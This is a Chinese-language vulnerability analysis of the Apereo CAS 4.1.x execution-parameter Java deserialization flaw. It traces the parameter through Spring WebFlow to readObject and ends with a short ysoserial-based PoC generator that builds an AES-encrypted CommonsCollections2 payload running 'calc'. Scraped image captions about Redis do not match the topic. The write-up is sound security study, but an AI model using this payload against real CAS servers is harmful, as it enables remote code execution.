0x00 前言

CAS全称Central Authentication Service(中心认证服务),是一个单点登录(Single-Sign-On)协议,Apereo CAS是实现该协议的软件包。CAS最初由Yale大学的Shawn Bayern开发实现,随后由Yale大学的Drew Mazurek负责维护。2016年4月CAS官方披露了v4.1.x和v4.2.x[1]版本存在反序列化漏洞,本文对Apereo CAS反序列化漏洞的成因进行了相关分析,如有不足之处欢迎指正。

0x01 漏洞分析

1. 了解Java反序列化

序列化是把对象转换成字节流,反序列化是逆过程,把字节流还原成对象。Java中ObjectOutputStream类的writeObject()方法可以实现对象的序列化,ObjectInputStream类的readObject()方法用于反序列化。如果被序列化的类重写了readObject()方法,在反序列化的时候,会调用重写的readObject()方法,如果重写的readObject()方法里面被插入了恶意代码,那在反序列化的过程中恶意代码就会被自动执行。具体看示例代码容易理解一点:

定义需要被序列化的类Users

import java.io.IOException;import java.io.Serializable;//需要被序列化的类,必须实现Serializable接口public class Users implements Serializable {    private String name;    public String getName() {        return name;    }    public void setName(String name) {        this.name = name;    }    //重写readObject方法    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {        //调用默认readObject方法,不破坏原逻辑        in.defaultReadObject();        System.out.println("重写的readObject方法...");    }}

把Users对象序列化,保存到本地users.bin文件中

public void serialize() throws IOException {        FileOutputStream out = new FileOutputStream("users.bin");        ObjectOutputStream obj = new ObjectOutputStream(out);        Users user = new Users();        user.setName("Apereo CAS");        obj.writeObject(user);    }

反序列化还原user.bin文件中的Users对象  

public static void deserialize() throws IOException, ClassNotFoundException {        FileInputStream in = new FileInputStream("users.bin");        ObjectInputStream obj = new ObjectInputStream(in);        //Users类中重写了readObject方法,会自动调用Users类中的readObject方法        Users user = (Users) obj.readObject();        System.out.println(user.getName());    }

调用deserialize方法后输出如下,发现Users类中的readObject方法被自动调用

redis 反序列化在线工具 redis反序列化漏洞_rmi 反序列化漏洞

2. 环境准备

以cas-4.1.5[2]版本为例,下载war包,配置好tomcat运行环境,在tomcat bin目录下的catalina.bat文件中新增启动参数,使tomcat支持jdb动态调试

set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8899

redis 反序列化在线工具 redis反序列化漏洞_反序列化_02

启动tomcat,8899端口开启说明可以使用jdb调试

redis 反序列化在线工具 redis反序列化漏洞_rmi 反序列化漏洞_03

访问cas应用,抓取登录请求数据包如下

redis 反序列化在线工具 redis反序列化漏洞_反序列化_04

3. execution参数分析

根据poc知道造成漏洞的原因的post参数execution造成的,所以需要找到处理execution参数的servlet,先看看web.xml配置文件,/cas/login接口由org.springframework.web.servlet.DispatcherServlet处理。
(注: spring中servlet的url-pattern匹配规则需要减去应用上下文路径,以剩余的字符串作为servlet映射。)

redis 反序列化在线工具 redis反序列化漏洞_redis 反序列化在线工具_05

搜索下DispatcherServlet类所在文件

redis 反序列化在线工具 redis反序列化漏洞_反序列化_06

反编译spring-webmvc-4.1.8.RELEASE.jar,根据Spring DispatcherServlet请求分发流程可知,最终的核心处理方法是DispatcherServlet的doDispatch方法

redis 反序列化在线工具 redis反序列化漏洞_jar_07

需要关注的代码是939行的HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());,这里获取此次请求的HandlerAdapter,然后在959行 mv = ha.handle(processedRequest, response, mappedHandler.getHandler());调用实际实现的handle方法处理具体逻辑。

使用JDB断点939行,看看处理当前登录请求的HandlerAdapter实现类

redis 反序列化在线工具 redis反序列化漏洞_反序列化_08

grep搜索SelectiveFlowHandlerAdapter类所在文件

redis 反序列化在线工具 redis反序列化漏洞_反序列化_09

反编译cas-server-webapp-support-4.1.5.jar,handle方法实现在SelectiveFlowHandlerAdapter的父类./WEB-INF/lib/spring-webflow-2.4.1.RELEASE.jar!/org/springframework/webflow/mvc/servlet/FlowHandlerAdapter.class文件中

redis 反序列化在线工具 redis反序列化漏洞_spring_10

静态分析handle方法,可知在224行调用了getFlowExecutionKey方法处理request,使用JDB动态调试看一看,其实现在org.jasig.cas.web.flow.CasDefaultFlowUrlHandler类中,该类在cas-server-webapp-support-4.1.5.jar文件里

redis 反序列化在线工具 redis反序列化漏洞_rmi 反序列化漏洞_11

getFlowExecutionKey方法实现如下,可知这里获取了post参数execution

redis 反序列化在线工具 redis反序列化漏洞_反序列化_12

回到handle方法,getFlowExecutionKey返回结果不等于null,进入225行的if判断,然后把获取的execution参数值传入resumeExecution方法,继续JDB调试,resumeExecution方法实现在FlowExecutorImpl类中

redis 反序列化在线工具 redis反序列化漏洞_反序列化_13

spring-webflow-2.4.1.RELEASE.jar!/org/springframework/webflow/executor/FlowExecutorImpl.class的resumeExecution方法实现如下

redis 反序列化在线工具 redis反序列化漏洞_反序列化_14

继续跟进164行的parseFlowExecutionKey方法,其实现在spring-webflow-client-repo-1.0.0.jar!/org/jasig/spring/webflow/plugin/ClientFlowExecutionRepository.class文件中

redis 反序列化在线工具 redis反序列化漏洞_spring_15

parse方法实现在ClientFlowExecutionKey类中,这里把execution参数值通过"_"符号split存放在String数组里面,然后base64解码再作为参数传入ClientFlowExecutionKey构造函数并RETURN

redis 反序列化在线工具 redis反序列化漏洞_rmi 反序列化漏洞_16

返回去接着看spring-webflow-2.4.1.RELEASE.jar!/org/springframework/webflow/executor/FlowExecutorImpl.class的resumeExecution方法,把return的ClientFlowExecutionKey对象传入getFlowExecution方法

redis 反序列化在线工具 redis反序列化漏洞_jar_17

getFlowExecution方法实现如下

redis 反序列化在线工具 redis反序列化漏洞_rmi 反序列化漏洞_18

88行先getData()获取execution参数"_"符号分割的后部分数据,data通过ClientFlowExecutionKey构造函数赋值

redis 反序列化在线工具 redis反序列化漏洞_redis 反序列化在线工具_19

然后把获取到的数据传入this.transcoder.decode方法中,该方法实现在spring-webflow-client-repo-1.0.0.jar!/org/jasig/spring/webflow/plugin/EncryptedTranscoder.class文件

redis 反序列化在线工具 redis反序列化漏洞_反序列化_20

分析decode方法可知,首先把传入的data通过cipherBean.decrypt方法解密,最后解密的数据在117行in.readObject()处触发Java反序列化漏洞。这里数据加解密使用的是AES对称算法

redis 反序列化在线工具 redis反序列化漏洞_redis 反序列化在线工具_21

4. 构造POC

通过分析我们知道Apereo CAS应用RCE漏洞是Java反序列化造成的,所以可以借助GitHub开源工具ysoserial[3]生成POC,注意AES加密结果需要base64编码一下

import org.cryptacular.util.CodecUtil;import ysoserial.payloads.ObjectPayload;public class ApereoExploit {    public static void main(String[] args) throws Exception{        String poc[] = {"CommonsCollections2","calc"};        final Object payloadObject = ObjectPayload.Utils.makePayloadObject(poc[0], poc[1]);        //AES加密        EncryptedTranscoder et = new EncryptedTranscoder();        byte[] encode = et.encode(payloadObject);        //base64编码        System.out.println(CodecUtil.b64(encode));    }}

效果如下

redis 反序列化在线工具 redis反序列化漏洞_jar_22

0x02 结语

漏洞成因本身并不复杂,有意义的在于分析过程中的所学所获,笔者水平有限,文章内容如有错误的地方,还请不吝赐教。

References

[1] v4.1.x和v4.2.x: https://apereo.github.io/2016/04/08/commonsvulndisc/[2] cas-4.1.5: https://repo1.maven.org/maven2/org/jasig/cas/cas-server-webapp/4.1.5/cas-server-webapp-4.1.5.war[3] ysoserial: https://github.com/frohoff/ysoserial[4] 深入理解Spring系列之十:DispatcherServlet请求分发源码分析: https://www.jianshu.com/p/1a17e210410c[5] Apereo CAS 4.X execution参数反序列化漏洞分析: https://www.bus123.net/11807.html[6] Java反序列化漏洞从无到有: https://www.freebuf.com/column/155381.html